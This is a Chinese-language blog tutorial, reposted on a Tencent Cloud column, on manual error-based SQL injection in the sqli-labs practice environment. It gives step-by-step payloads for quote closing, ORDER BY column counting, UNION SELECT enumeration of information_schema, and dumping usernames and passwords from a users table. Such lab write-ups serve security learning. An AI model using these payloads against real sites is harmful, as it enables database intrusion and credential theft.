前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈基于报错的手工注入

浅谈基于报错的手工注入

作者头像
天钧
发布2019-11-14 15:11:02
6680
发布2019-11-14 15:11:02
举报
文章被收录于专栏:渗透云笔记渗透云笔记

浅谈基于报错的手工注入

实验环境:sqlli

1.首先提示,请输入ID作为参数和数值

2.构建id参数后,返回正常

3.输入转义符 \ ,得到报错信息 "1\") LIMIT 0,1 (图片上引号内的为报错信息,所以这里去掉两个引号)

由此,我们可以得到大概的SQL语句为尝试闭合单引号,并注释之后的内容,输入1") --+

可以看到返回正常页面

4.在闭合后,输入order by 5 判断有几个字段,判断成功则会返回正常页面

5个字段报错,输入4,输入3 尝试

再输入order by 3 的时候,页面返回正常,说明有有三个字段

5.接下来使用union联合查询,查看哪些位置可以利用

首先将参数报错,id改为-1

其次构建语句 union select 1,2,3 (之前检测出3个字段)

返回2,3 说明2和3可以返回我们想要的值。

把2替换为database() 查看当前数据库,显示成功

6.接下来爆数据

首先是查找表名

输入

代码语言:javascript
复制
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 

链接表,显示表名,从mysql数据库总表中,筛选条件 表名等于当前数据库名

显示出当前数据库中的所有表

我们继续读取users表中的信息

输入

代码语言:javascript
复制
 union select 1,group_concat(column_name),3 from  information_schema.columns where table_name='users' --+

链接表,显示字段名 ,从mysql总表中,赛选出表名等于 users 的数据

接下来获取字段值,username和password的值

输入

代码语言:javascript
复制
union select 1,group_concat(username,0x3a,passowrd),3 from users --+

链接表 从用户表中读取数据,显示用户名密码用冒号进行分割

最后就得到了我们想要的信息。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档